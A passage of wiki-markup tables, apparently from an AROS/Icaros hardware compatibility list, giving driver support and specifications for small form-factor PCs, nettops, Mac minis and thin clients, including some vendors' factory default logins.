| &lt;!--Name--&gt;ThinkCentre M75q M75q-1 Tiny 1ltr TMM 
*AMD Ryzen 5 PRO Quad 3500 Pro 3400GE (4c 8t) 11a5 soe400
*AMD 3200GE (2c 4t) zen1+ 11a4 
| &lt;!--IDE--&gt;{{N/A|}}
| &lt;!--SATA--&gt;{{Maybe|NVMe 2280 1Tb max - untested 2.5inch}}
| &lt;!--Gfx--&gt;Vega 11 
| &lt;!--Audio--&gt;HD Audio Realtek ALC222-CG codec ALC3287 
| &lt;!--USB--&gt;3 USB3 Gen 1 
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8169 8111
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2019 64bit - 65w 20v 3.25A to 135W rectangle psu - 2 sodimm ddr4 sodimm max 32GB locked 2666MHz - 
|-
| &lt;!--Name--&gt;ThinkCentre Ryzen 7 PRO Tiny 1ltr Gen 2 AMD 4000 series 
*AMD 4650GE (6c12t) 4750GE (8c16t) 4350G (4c8t) Zen2 - 
| &lt;!--IDE--&gt;{{N/A|}}
| &lt;!--SATA--&gt;{{Maybe|NVme}}
| &lt;!--Gfx--&gt;Vega 8
| &lt;!--Audio--&gt;HD Audio  codec
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8169 8111
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit vendor locked - 20v psu - 2 sodimm - 
|-
| &lt;!--Name--&gt;Thinkcenter M75q-2 Gen2 refresh 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;m.2 nvme 
| &lt;!--Gfx--&gt;Radeon Vega 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;1GigE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit 5650GE (6c12t) 5750GE (8c16t) - vendor/PSB can lock your AMD CPU - f12 boot devices
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Thinkcentre M75q Tiny Gen5 
| &lt;!--IDE--&gt;{{N/A| }}
| &lt;!--SATA--&gt;2 NVMe 
| &lt;!--Gfx--&gt;Radeon 780M dp1.4a or hdmi 
| &lt;!--Audio--&gt;HDAudio with  codec 
| &lt;!--USB--&gt;USB3 usb-c 
| &lt;!--Ethernet--&gt;1GBe port
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2024 Ryzen PRO 7 8700GE - 90W yellow rectangle connector psu - 2 DDR5 sodimm slots max 128Gb - 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|}


====Misc====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments 
|-
| &lt;!--Name--&gt;Impart impact Media Group IQ Box mini Digital Signage with MB896 mini itx 
| &lt;!--IDE--&gt;{{Yes| }} 
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;GMA 915 gme 
| &lt;!--Audio--&gt; via audio 
| &lt;!--USB--&gt;{{yes| }} 
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2007 32bit - 1 ddr2 slot - pentium m 1.73GHz - 
|-
| &lt;!--Name--&gt;[https://everymac.com/systems/apple/mac_mini/specs/mac_mini_cd_1.83-specs.html Apple A1176 Intel MacMini1,1] 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{unk|gpt/efi }}
| &lt;!--Gfx--&gt;{{Yes|gma950 2d and 3d}}
| &lt;!--Audio--&gt;{{No|HDAudio with ICH7 [https://answers.launchpad.net/ubuntu/+source/alsa-driver/+question/186749 Sigmatel Stac 9221] [https://android.googlesource.com/kernel/msm/+/android-wear-5.1.1_r0.6/sound/pci/hda/patch_sigmatel.c codec][https://alsa-devel.alsa-project.narkive.com/Yt20W6cE/sigmatel-stac9221-mux-amp-out-0x02-microphone-not-working mic]}}
| &lt;!--USB--&gt;{{Yes|USB2}} 
| &lt;!--Ethernet--&gt;{{No|Marvell}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2006 32bit possible 1.83 GHz Intel “Core Duo” (T2400) - swap pci-e wifi for atheros 5k AR5007EG - maybe hack with a 2,1 firmware - max 4GB Ram ddr2 sodimms - external apple psu - dvd boot only with c key - 
|-
| &lt;!--Name--&gt;[https://everymac.com/systems/apple/mac_mini/specs/mac-mini-core-2-duo-1.83-specs.html Apple A1176 Intel Mac Mini2,1] 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{unk|gpt/efi }}
| &lt;!--Gfx--&gt;{{Yes|gma950 2d and 3d}}
| &lt;!--Audio--&gt;{{No|HDAudio with ICH7 Sigmatel Stac 9221 codec}}
| &lt;!--USB--&gt;{{Yes|USB2}} 
| &lt;!--Ethernet--&gt;{{No|Marvell}}
| &lt;!--Test Distro--&gt;Aros One 2.0/ Icaros 
| &lt;!--Comments--&gt;2007 64bit - swap pci-e wifi for atheros 5k AR5007EG - hacked with a 2,1 firmware and replaced the cpu for T7600 2.33 Ghz C2D and max 4GB Ram ddr2 sodimms - external apple psu - dvd boot only via c key 
|-
| &lt;!--Name--&gt;Apple iMac 5,1 &quot;Core 2 Duo&quot; 1.83GHz 17&quot; T5600 MA710LL || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 950 with 64Mb || &lt;!--Audio--&gt;HDAudio idt codec || &lt;!--USB--&gt;3 USB2 || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 64bit - 2 ddr2 667MHz sodimm slots - 17.0&quot; TFT widescreen 1440x900 - polycarbonate 
|-
| &lt;!--Name--&gt;Apple iMac 6,1 &quot;Core 2 Duo&quot; 2.16 2.33 24&quot; only T7400 T7600 aka MA456LL/A A1200 (EMC 2111) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Nvidia 7300GT with 128 MB of GDDR3 SDRAM PCI Express or GeForce 7600GT with 256Mb mini dvi, vga || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;3 USB2 || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 64bit - 2 ddr2 667MHz sodimm slots - 24.0&quot; TFT widescreen 1920 x 1200 - polycarbonate plastic case iMacs of this generation are the most difficult iMacs to service due to their front bezel design 
|-
| &lt;!--Name--&gt;Neoware CA2 
| &lt;!--IDE--&gt;flash DOM 
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;S3 Inc ProSavage PM133 (rev 02) vga 
| &lt;!--Audio--&gt;VIA VT82C686 AC97 Audio
| &lt;!--USB--&gt;USB
| &lt;!--Ethernet--&gt;rtl8139 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2003 32bit - VIA Ezra 800MHz - 2 PC100 sodimm slots - riser board carries an ISA slot and a PCI slot - external 12V power supply.with 4 pins - 
|-
| &lt;!--Name--&gt;Neoware CA5 Capio One 
| &lt;!--IDE--&gt;44pin Disk On Module DOM 
| &lt;!--SATA--&gt;{{N/A}} 
| &lt;!--Gfx--&gt;SiS550 vga 
| &lt;!--Audio--&gt;AC97 with SiS7019 codec 
| &lt;!--USB--&gt;USB1.1 
| &lt;!--Ethernet--&gt;rtl8139 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2004 32bit - internal power supply with mains lead has a &quot;clover leaf&quot; style - 2 144-pin PC100 or PC133 SODIMM might have 24MB of RAM soldered - 
|-
| &lt;!--Name--&gt;Neoware CA10 
*E140 model BL-XX-XX (800MHz CPU) later 
*E100 model BK-XX-XX (1GHz CPU)
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;VIA VT8623 (Apollo CLE266) vga 
| &lt;!--Audio--&gt;AC97 with 
| &lt;!--USB--&gt;4 USB2 
| &lt;!--Ethernet--&gt;VIA VT6102/VT6103 [Rhine-II] (rev 74) 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2004/5 32bit - 12v 5.5mm/2.1mm - 2 184-pin DDR DIMM - 
|-
| &lt;!--Name--&gt;VXL Itona thin client 
*TC3200, 
*TC3x41 (P3VB-VXL) TC3541 TC3641 TC3841, 
*TC3xx1 (6VLE-VXL0) TC3931, 
*TC43xx (Gigabyte C7V7VX) TC4321 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;VIA vga 
| &lt;!--Audio--&gt;AC'97 Audio with VIA VT 
| &lt;!--USB--&gt;VIA USB 
| &lt;!--Ethernet--&gt;Realtek 8100B 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2005 2006 32bit VIA Samuel 2, VIA C3 Nehamiah CPU, 1 DIMM slot, internal psu, 
|-
| &lt;!--Name--&gt;Neoware Capio C50, model CA15 Thin Clients] 
*Login Administrator Password Administrator
*Login User Password User 
| &lt;!--IDE--&gt;1 flash Disk On Module
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;VIA VT8623 (Apollo CLE266) vga 
| &lt;!--Audio--&gt;AC97 with via codec 
| &lt;!--USB--&gt;USB
| &lt;!--Ethernet--&gt;VIA 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2006 32bit VIA Eden (Samuel II core) CPU - 1 ddr sodimm slot max 512mb - slot - internal psu clover leaf - 
|-
| &lt;!--Name--&gt;[http://etoy.spritesmind.net/neowareca21.html Neoware CA21 Thin Clients] Igel 3210 (and maybe the Clientron G270) 
*Login Administrator Password Administrator
*Login User Password User 
| &lt;!--IDE--&gt;1 flash Disk On Module DOM 
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;VIA CN700 vga 
| &lt;!--Audio--&gt;AC97 with via codec 
| &lt;!--USB--&gt;USB2
| &lt;!--Ethernet--&gt;VIA 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2007 32bit VIA C3 Nehemiah instead of Ezra-T - made 2 version of the CA 21, one with an Award bios and one with a Phoenix bios - 1 ddr2 sodimm slot max 1gb - VT6656 wireless - slot - internal psu iec - 
|-
| &lt;!--Name--&gt;Neoware CA22 (e140), part number DD-L2-GE with BCOM WinNET P680 (V4) as the Igel 4210LX (Igel 5/4) 
| &lt;!--IDE--&gt;1 VIA VT82C586A/B VT82C686/A/B VT823x/A/C PIPC Bus Master IDE (rev 06)
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;VIA CN700 P4M800 Pro CE VN800 Graphics [S3 UniChrome Pro] (rev 01) vga
| &lt;!--Audio--&gt;AC97 with codec 
| &lt;!--USB--&gt;USB2 VIA VT8237R Plus
| &lt;!--Ethernet--&gt;VIA VT6102/VT6103 [Rhine-II] (rev 78)
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2007 32bit - VIA Esther to later C7 1GHz - 1 ddr2 sodimm slots max 512mb - +12V DC/4.16A/50W 5.5mm/2.1mm coaxial - 
|-
| &lt;!--Name--&gt;10Zig RBT402, Clientron U700, 
| &lt;!--IDE--&gt;{{Yes|44 pin header very little room}}
| &lt;!--SATA--&gt;{{N/A|}}
| &lt;!--Gfx--&gt;{{Partial|VESA dvi}}
| &lt;!--Audio--&gt;{{unk|AC97 with  codec}}
| &lt;!--USB--&gt;{{unk|VIA }}
| &lt;!--Ethernet--&gt;{{unk|}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2008 32bit - very small cases with very limited expansion - 1 sodimm 2GB max - 12v 3a psu - Password Fireport 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Dell Optiplex FX170 D05U thin client, 10Zig 56xx range 5602, 5616v, 5617v, 5672v, Clientron U800, Devon IT TC5, 
| &lt;!--IDE--&gt;{{Yes|44 pin header very little room}}
| &lt;!--SATA--&gt;{{N/A|}}
| &lt;!--Gfx--&gt;{{partial|GMA 950 dvi}}
| &lt;!--Audio--&gt;{{Yes|HD Audio with  codec}}
| &lt;!--USB--&gt;{{Yes| }}
| &lt;!--Ethernet--&gt;{{No|Broadcom}}
| &lt;!--Test Distro--&gt;Icaros 2.3 
| &lt;!--Comments--&gt;2009 32bit - very small cases with very limited expansion - 1 ddr2 sodimm 2GB max - 12v 3a psu - Password Fireport - ps2 keyboard socket - 
|-
| &lt;!--Name--&gt;10Zig RBT-616V or Chip PC Technologies EX-PC (model number XPD4741)
| &lt;!--IDE--&gt;{{unk|44 pin header very little room}}
| &lt;!--SATA--&gt;{{N/A|}}
| &lt;!--Gfx--&gt;{{Yes|GMA 950}}
| &lt;!--Audio--&gt;{{unk|HD Audio with  codec}}
| &lt;!--USB--&gt;{{unk| }}
| &lt;!--Ethernet--&gt;{{unk|rtl8169}}
| &lt;!--Test Distro--&gt; 
| &lt;!--Comments--&gt;2010 32bit N270 on NM10 with ICH7 - very small cases with very limited expansion - 1 sodimm 2GB max - 12v 4a psu - Password Fireport 
|-
| &lt;!--Name--&gt;Gigabyte Brix GS-A21S-RH (rev. 1.0) SFF 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|X3100}} 
| &lt;!--Audio--&gt;{{No|HD Audio with ALC883-GR codec}}
| &lt;!--USB--&gt;Intel USB
| &lt;!--Ethernet--&gt;{{no|Intel 82566DC}}
| &lt;!--Test Distro--&gt;ICAROS 2.3 
| &lt;!--Comments--&gt;2009 64bit Intel GME965 chipset with Intel ICH8M - 2 DDR2 Dimm slots - GA-6KIEH2-RH Rev.1.x mini ITX Case 213mm(D) x 64mm(W) x 234mm(H) - custom psu - 
|-
| &lt;!--Name--&gt;VXL Itona MD+24 MD27 MD54 MD64 MD76 thin client 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;VIA Chrome 9 
| &lt;!--Audio--&gt;HD Audio with VIA VT 
| &lt;!--USB--&gt;VIA
| &lt;!--Ethernet--&gt;VIA 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2009 32bit VIA X2 U4200 - 12v-19v barrel psu - 
|-
| &lt;!--Name--&gt;Acer Revo 100 RL100 AMD Athlon II X2 K325 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;NVIDIA® ION™ 9300m || &lt;!--Audio--&gt;HDAudio with ALC662 codec || &lt;!--USB--&gt;USB2 1 front 2 back || &lt;!--Ethernet--&gt;NVIDIA nForce 10/100/1000 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2010 64bit but no AVX - 4Gb DDR3 sodimm - 500 GB - 19v 3.42a 65W - dvd but later BD drive - 
|-
| &lt;!--Name--&gt;Asrock ION 330 330Pro HT-BD, Foxconn NT-330i, Zotac ION F (IONITX mini itx), 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Maybe|ION geforce 9400}}
| &lt;!--Audio--&gt;{{Maybe| }}
| &lt;!--USB--&gt;{{Maybe|Nvidia USB}}
| &lt;!--Ethernet--&gt;{{No|Nvidia }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2010 32bit slow atom cpu - 2.5L 8&quot; by 8&quot; plastic case - 2 ddr2 sodimm max 4G - external 19v 65W 3.42A Plug 5.5mm X 2.5mm  - little whiny fan - 
|-
| &lt;!--Name--&gt;Zotac ZBOXHD-ND01 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;ION1
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB2
| &lt;!--Ethernet--&gt;NVidia
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2009 32bit 
|-
| &lt;!--Name--&gt;Zotac ZBOX HD-ID11
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;ION2
| &lt;!--Audio--&gt;HDaudio with ALC888 codec 
| &lt;!--USB--&gt;USB2
| &lt;!--Ethernet--&gt;rtl8169 rtl8111D 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2010 
|-
| &lt;!--Name--&gt;ZOTAC ZBOX Blu-ray 3D ID36 Plus 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;sata 
| &lt;!--Gfx--&gt;ION2
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;2 USB3
| &lt;!--Ethernet--&gt;GbE 
| &lt;!--Opinion--&gt;2011 64bit - 
|-
| &lt;!--Name--&gt;Shuttle XS35GT || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;ION || &lt;!--Audio--&gt;HD audio IDT92HD81 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|JMC261}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit - Atom™ D510 NM10 - DDR2 
|-
| &lt;!--Name--&gt;Shuttle XS35GT V2 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;ION2 || &lt;!--Audio--&gt;HD audio IDT92HD81 || &lt;!--USB--&gt;Intel || &lt;!--Ethernet--&gt;{{No|JMC251}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit Atom™ D525 NM10 chipset - DDR3 
|-
| &lt;!--Name--&gt;Sapphire Edge-HD || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;ION2 GT218 with vga and hdmi || &lt;!--Audio--&gt;HDAudio realtek codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Unk|Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit - Atom™ D510 NM10 - DDR2 65 W AC, DC 19V~3.42A, 19.3L x 14.8w x 2.2H cm (1l), weight 530g, 
|-
| &lt;!--Name--&gt;Sapphire Edge-HD2 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes|IDE mode}} || &lt;!--Gfx--&gt;{{Yes|nouveau ION2 GT218 with vga and hdmi 2d and 3d}} || &lt;!--Audio--&gt;{{Yes|HDAudio}} || &lt;!--USB--&gt;{{Yes|Intel USB2}} || &lt;!--Ethernet--&gt;{{Yes|}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit Atom™ D525 NM10 chipset - DDR3 
|-
| &lt;!--Name--&gt;AOPEN Digital Engine DE67-HA(I) 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe| }}
| &lt;!--Gfx--&gt;{{Maybe| Vesa 2d for Intel HD}}
| &lt;!--Audio--&gt;{{maybe|HDAudio for ALC662 codec}}
| &lt;!--USB--&gt;{{maybe|usb3}}
| &lt;!--Ethernet--&gt;{{no|Intel WG82579LM}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2011 
|-
| &lt;!--Name--&gt;[https://www.jetwaycomputer.com/JBC600C99352W.html Jetway JBC600C99352W] 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;ION2 
| &lt;!--Audio--&gt;{{No|C-Media CM108AH}}
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;Realtek 8111DL 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2011 64bit D525 - DDR3 - 12v psu 
|-
| &lt;!--Name--&gt;Foxconn nT-A3550 A3500 AMD A45 Chipset DDR3 Nettop Barebones - White
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 slot 
| &lt;!--Gfx--&gt;AMD Radeon HD6310 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;4 USB2 back and 2 USB3 front 
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 AMD Dual-core E350 1.6GHz CPU - 1 ddr3 sodimm - 
|-
| &lt;!--Name--&gt;Asus EeeBox PC EB1021 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Radeon HD6320M || &lt;!--Audio--&gt;HDAudio with ALC codec || &lt;!--USB--&gt;USB2 || &lt;!--Ethernet--&gt;Realtek GbE1 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit - AMD® Brazos E-350 SFF or E-450 with A50M - 2 ddr3l so-dimm - 40W ac - 
|-
| &lt;!--Name--&gt;Xi3 Piston PC Athlon64 X2 3400e (X5A), AMD R-464L quad (X7A) Z3RO NUC 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;AMD mobility HD3650 to radeon HD 7660G 
| &lt;!--Audio--&gt; codec 
| &lt;!--USB--&gt;4 USB2 3 USB3 
| &lt;!--Ethernet--&gt;{{no|Atheros AR8161}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 - 2 sodimm 8GB max - 19v 3.3a round - Titan105 bios update - 
|-
| &lt;!--Name--&gt;Sapphire Edge-HD3 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Radeon HD6320M with vga and hdmi || &lt;!--Audio--&gt;HDAudio with Realtek ALC662 codec || &lt;!--USB--&gt;USB2 || &lt;!--Ethernet--&gt;Realtek GbE1 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 AMD® Brazos E-450 with A45M -  ddr3l so-dimm - 65W ac - Wireless is Realtek 8191SU WiFi (802.11n) or AzureWave (802.11bgn) - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Samsung Syncmaster Thin Client Display TC-W Series 24&quot; LF24 TOWHBFM/EN TC220W LED LF22TOW HBDN/EN || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;8gb SSD || &lt;!--Gfx--&gt;{{Maybe| VESA mode only Radeon HD 6290}} || &lt;!--Audio--&gt; || &lt;!--USB--&gt;2 USB 2.0 || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 thin Client C-50 C50 AMD® 1000 MHz and no wireless 
|-
| &lt;!--Name--&gt;Advantech TPC-2140 thin client 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Maybe|VESA }}
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;{{Yes|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 atom-like G-T56E 1.65Ghz up to SSE3, BGA413 soldered - 
|-
| &lt;!--Name--&gt;CompuLab FIT-PC3 fitPC3 USFF PC AMD G-T56N || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;RADEON HD 6320 || &lt;!--Audio--&gt;{{yes|HDAudio ALC888 codec}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{yes|rtl8169 8111}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64 bit does not support AVX or SSE 4.1 - 12v 3a - 2x sodimm DDR3 max 4GB - wifi rtl8188ce 
|-
| &lt;!--Name--&gt;10Zig 6872 thin client 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Maybe|VESA }}
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{Yes|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 atom-like G-T56N up to SSE3 BGA413 (FT1) soldered - DDR3l single channel - 
|-
| &lt;!--Name--&gt;10ZiG Technology 9972 1.6 GHz Linux 1.47 kg Black RX-216GD thin client 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;AMD Radeon 5E 3840 x 2160 @ 30Hz to 2560 x 1600 @ 60Hz 2 x Display Port
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;6 x USB2.0 2 x USB3.0
| &lt;!--Ethernet--&gt;{{Maybe|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2016 64bit does support AVX or SSE 4.1 AMD RX-216TD - 1 ddr3 sodimm - 12V 4A Coax 5.5mm/2.1mm 
|-
| &lt;!--Name--&gt;10ZiG 7800q thin client 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;AMD Radeon 5E 3840 x 2160 @ 30Hz to 2560 x 1600 @ 60Hz 2 x Display Port
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;6 x USB2.0 2 x USB3.0
| &lt;!--Ethernet--&gt;{{Maybe|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2016 64bit does support AVX or SSE 4.1 AMD GX-424CC (Quad Core) 2.4GHz BGA769 (FT3b) - 1 ddr3 sodimm - 12V 4A Coax 5.5mm/2.1mm 
|-
| &lt;!--Name--&gt;
*Itona VXL MZE12 AMD a4-5000 thin client 
*VXL Itona LQ27 LQ+27 LQ44 LQ+44 LQ49 LQ+49 LQ50 LQ+50 LQ64 LQ+64 thin client 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Ati 8330 vga hdmi dp 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;4 usb2 2 usb3 
| &lt;!--Ethernet--&gt;Realtek 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2014 64bit quad BGA769 (FT3) soldered - 2 stacked sodimm ddr3 middle of mobo - 2 m.2 sata slots - 1 sata short cable half size space - limited 1ltr 8in case no fan - 19v hp style psu connector - 
|-
| &lt;!--Name--&gt;Dell Wyse 5212 21.5&quot; AIO Thin Client W11B 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;Sata
| &lt;!--Gfx--&gt;R3 out from DP or vga 
| &lt;!--Audio--&gt;HDAudio  
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;Realtek 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2015 64bit slow atom like dual core AMD G-T48E 1.4 GHz - dell type round ac needed 90W 19.5V 4.62A - 21 inch 1080p screen - 
|-
| &lt;!--Name--&gt;LG 24CK560N-3A 24' All-in-One Thin Client Monitor, 27CN650N-6N 27CN650W-AC 27', 34CN650W-AC 34', 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018 64bit AMD Prairie Falcon GX-212JJ 
|-
| &lt;!--Name--&gt;CompuLab fit-PC4 fitPC4 4x 2Ghz AMD || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{no|Intel}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64 - 2x DDR4 sodimm - 
|-
| &lt;!--Name--&gt;IGEL Hedgehog M340C UD3 thin client 
*2016 V1.0 AMD GX-412HC 1.2GHz-1.6GHz Radeon R3E, normal bios DEL for Bios or F12 boot selector 
*2018 AMD GX-424CC 2.4GHz, Radeon R5E, UEFI hit DEL and choose boot or SCU icon 
| &lt;!--IDE--&gt;{{N/A|}}
